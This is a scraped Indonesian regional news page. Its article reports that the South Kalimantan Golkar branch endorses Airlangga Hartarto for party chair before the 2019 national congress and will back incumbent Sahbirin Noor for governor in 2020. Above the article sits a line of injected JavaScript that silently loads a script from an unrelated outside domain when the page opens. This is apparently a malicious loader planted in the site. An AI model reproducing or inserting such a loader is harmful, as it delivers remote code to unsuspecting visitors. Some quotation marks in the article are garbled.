(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Tensi politik warga partai beringin menjelang Musyawara Nasional (Munas) Partai Golkar 2019 semakin meninggi. Aksi saling klaim dukungan dilakukan dua kubu yang saat ini tengah bertarung. Yakni Airlangga Hartanto versus Bambang Soesatyo. Sebagian menginginkan Airlangga Hartarto melanjutkan kepemimpinan. Sebagian lainnya mengoreksi dengan memberikan dukungan kepada figur lain seperti Bambang Soesatyo. Lalu, bagaimana sikap Partai Golkar Kalsel?
Rapat Pleno yang digelar jajaran pengurus Dewan Pengurus Daerah (DPD), di kantor Partai Golkar di Banjarmasin, Selasa (16/7), memutuskan beringin Kalsel secara bulat mendukung Airlangga untuk maju kembali sebagai Ketua Umum DPP Golkar periode 2019-2024.
Hal tersebut sebagaimana ditegaskan Ketua Harian DPD Partai Golkar Kalsel, Supian HK kepada awak media, Selasa (16/7). “DPD Golkar Kalsel tetap mendukung Bapak Airlangga Hartarto sebagai Ketua Umum DPP Golkar periode 2019-2022,†tegasnya.
Supian mengatakan, dukungan ke Airlangga tersebut lantaran yang bersangkutan selama ini dianggap mampu meningkatkan perolehan suara dari 6 persen menjadi 13 persen. Dimana hal tersebut dilakukan hanya dalam rentang 1,2 tahun menjabat sebagai Ketum DPP Partai Golkar, menggantikan Setya Novanto yang terbelit masalah hukum.
Keputusan mendukung Airlangga diambil melalui proses evaluasi DPD Partai Golkar Kalsel. Airlangga Hartarto dinilai layak untuk menjabat dua periode. Bahkan, apabila mampu membesarkan partai Golkar hingga 2024 mendatang, tak menutup kemungkinan akan menjadi calon presiden.
Di tempat terpisah, Airlangga mengklaim telah menerima dukungan dari 460 pemilik suara sah baik ditingkat DPD I dan DPD II untuk maju sebagai ketua umum di musyawarah nasional (Munas) partai tersebut pada Desember mendatang. “Alhamdullilah dukungan terus mengalir dan sampai saat sekarang sudah 460 dan masih berjalan,” kata Airlangga.
Meski begitu, Airlangga menyatakan tak akan melakukan deklarasi pencalonan kembali secara resmi dalam waktu dekat. Ia mengatakan waktu pelaksanaan Munas masih jauh. “Nanti aja [deklarasinya], Munasnya aja masih Desember,” katanya.
Airlangga pun enggan berspekulasi terkait siapa tokoh yang akan mendapatkan sinyal restu dari presiden RI Joko Widodo (Jokowi) sebagai kandidat Ketum Golkar. “Tergantung arah mata angin,” kilahnya.
Ditemui pada waktu dan tempat terpisah, Airlangga pun enggan berkomentar banyak soal pertemuan Wakorbid Pratama DPP Golkar Bambang Soesatyo (Bamsoet) dengan Jokowi di Istana Kepresidenan hari ini. “Tidak ada komentar,” kata Airlangga dikutip dari cnnindonesia.com.
Saat didesak lebih jauh apakah pertemuan itu sebagai tanda restu Jokowi untuk Bamsoet untuk maju sebagai calon ketum Golkar, ia tetap bergeming. Usai mengucapkan hal itu, Airlangga kemudian langsung bergegas masuk menuju mobil dinas menteri berwarna hitam yang sudah terparkir di lobby Hotel.
Sebelumnya, Bamsoet bertemu dengan Presiden Joko Widodo (Jokowi) di Istana Merdeka, Jakarta. Dalam pertemuan itu, Bamsoet tak menyampaikan soal rencana maju sebagai calon ketua umum parpol berlambang pohon beringin tersebut. “Tadi kami bicara soal Golkar saja. Tidak ada dukung-mendukung (pemilihan ketua umum Golkar),” katanya.
Usung Kembali Sahbirin di Pilgub
Rapat pleno DPD Partai Golkar Kalsel tadi juga memutuskan mengusung kembali sang incumbent H Sahbirin Noor maju sebagai bakal calon gubernur Kalsel di Pilgub 2020 nanti. “Kita pastikan akan mengusung kembali Sahbirin Noor sebagai bakal calon gubernur Kalsel di Pilkada nanti. Apalagi beliau sebagai Ketua DPD Golkar Kalsel,†kata Supia.
Dari 13 DPD Golkar kabupaten atau kota se-Kasel akan menyerahkan dukungan tersebut kepada Sahbirin Noor sebagai bakal calon gubernur Kalsel. Meskipun Golkar bisa menjadi pengusung tunggal di Pilkada 2020 nanti, dengan perolehan 12 kursi di DPRD Kalsel, pihaknya tetap membuka koalisi bagi partai lain. “Kita tetap membuka kesempatan kepada partai lain, apabila ingin berkoalisi,†ujarnya.
Terkait sang pendamping Paman Birin di Pilkada nanti, DPD Golkar Kalsel akan segera membuka pendaftaran kepada bakal calon wakil gubernur Kalsel, pada 27 Agustus mendatang. “Berapa nama nantinya akan kita diserahkan kepada yang bersangkutan, Sahbirin Noor,†tegasnya.
Terkait kriteria pendamping Sahbirin Noor, Supian HK tetap membuka kesempatan bagi generasi terbaik Kalsel. Namun, lebih diprioritaskan kepada generasi muda, agar mampu melakukan regenerasi Sahbirin Noor. “Kader muda diharapkan bisa melakukan regenerasi sebagai Gubernur nantinya. Apalagi, sekitar 30 persen kader Golkar dari kelompok muda,†tandasnya.(mario)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.